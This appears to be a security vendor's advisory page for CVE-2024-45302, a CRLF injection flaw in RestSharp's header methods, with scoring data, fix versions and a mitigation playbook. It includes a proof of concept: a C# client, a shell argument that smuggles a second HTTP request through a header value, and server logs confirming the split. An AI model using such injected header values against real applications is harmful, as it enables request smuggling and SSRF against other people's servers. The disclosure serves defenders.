CVE-2024-45302 is a medium-severity (CVSS 6.1) CWE-93 vulnerability in RestSharp. 1 public exploit reference exists, so weaponization risk is real. A fix is available for RestSharp — see the affected versions and patch details below.
CRLF Injection in RestSharp's `RestRequest.AddHeader` method
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for CVE-2024-45302.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2024-45302 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 378,567 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
RestSharpReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects NuGet packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The second argument to RestRequest.AddHeader (the header value) is vulnerable to CRLF injection. The same applies to RestRequest.AddOrUpdateHeader and RestClient.AddDefaultHeader.
Details
The way HTTP headers are added to a request is via the HttpHeaders.TryAddWithoutValidation method: https://github.com/restsharp/RestSharp/blob/777bf194ec2d14271e7807cc704e73ec18fcaf7e/src/RestSharp/Request/HttpRequestMessageExtensions.cs#L32 This method does not check for CRLF characters in the header value.
This means that any headers from a RestSharp.RequestHeaders object are added to the request in such a way that they are vulnerable to CRLF-injection. In general, CRLF-injection into a HTTP header (when using HTTP/1.1) means that one can inject additional HTTP headers or smuggle whole HTTP requests.
PoC
The below example code creates a console app that takes one command line variable "api key" and then makes a request to some status page with the provided key inserted in the "Authorization" header:
using RestSharp;
class Program
{
static async Task Main(string[] args)
{
// Usage: dotnet run <api key>
var key = args[0];
var options = new RestClientOptions("http://insert.some.site.here");
var client = new RestClient(options);
var request = new RestRequest("/status", Method.Get).AddHeader("Authorization", key);
var response = await client.ExecuteAsync(request);
Console.WriteLine($"Status: {response.StatusCode}");
Console.WriteLine($"Response: {response.Content}");
}
}
This application is now vulnerable to CRLF-injection, and can thus be abused to for example perform request splitting and thus server side request forgery (SSRF):
anonymous@ubuntu-sofia-672448:~$ dotnet RestSharp-cli.dll $'test\r\nUser-Agent: injected header!\r\n\r\nGET /smuggled HTTP/1.1\r\nHost: insert.some.site.here'
Status: OK
Response: <html></html>
The application intends to send a single request of the form:
GET /status HTTP/1.1
Host: insert.some.site.here
Authorization: <api key>
User-Agent: RestSharp/111.4.1.0
Accept: application/json, text/json, text/x-json, text/javascript, application/xml, text/xml
Accept-Encoding: gzip, deflate, br
But as the application is vulnerable to CRLF injection the above command will instead result in the following two requests being sent:
GET /status HTTP/1.1
Host: insert.some.site.here
Authorization: test
User-Agent: injected header!
and
GET /smuggled HTTP/1.1
Host: insert.some.site.here
User-Agent: RestSharp/111.4.1.0
Accept: application/json, text/json, text/x-json, text/javascript, application/xml, text/xml
Accept-Encoding: gzip, deflate, br
This can be confirmed by checking the access logs on the server where these commands were run (with insert.some.site.here pointing to localhost):
anonymous@ubuntu-sofia-672448:~$ sudo tail /var/log/apache2/access.log
127.0.0.1 - - [29/Aug/2024:11:41:11 +0000] "GET /status HTTP/1.1" 200 240 "-" "injected header!"
127.0.0.1 - - [29/Aug/2024:11:41:11 +0000] "GET /smuggled HTTP/1.1" 404 436 "-" "RestSharp/111.4.1.0"
Impact
If an application using the RestSharp library passes a user-controllable value through to a header, then that application becomes vulnerable to CRLF-injection. This is not necessarily a security issue for a command line application like the one above, but if such code were present in a web application then it becomes vulnerable to request splitting (as shown in the PoC) and thus Server Side Request Forgery.
Strictly speaking this is a potential vulnerability in applications using RestSharp, not in RestSharp itself, but I would argue that at the very least there needs to be a warning about this behaviour in the RestSharp documentation.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| .NETNuGet | RestSharp | ≥ 107.0.0-preview.1&&< 112.0.0 | 112.0.0dotnet add package RestSharp --version 112.0.0 |
Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for RestSharp, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update RestSharp to 112.0.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2024-45302 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2024-45302 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2024-45302. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2024-45302 in your dependencies?
O3 Security finds CVE-2024-45302 across NuGet dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.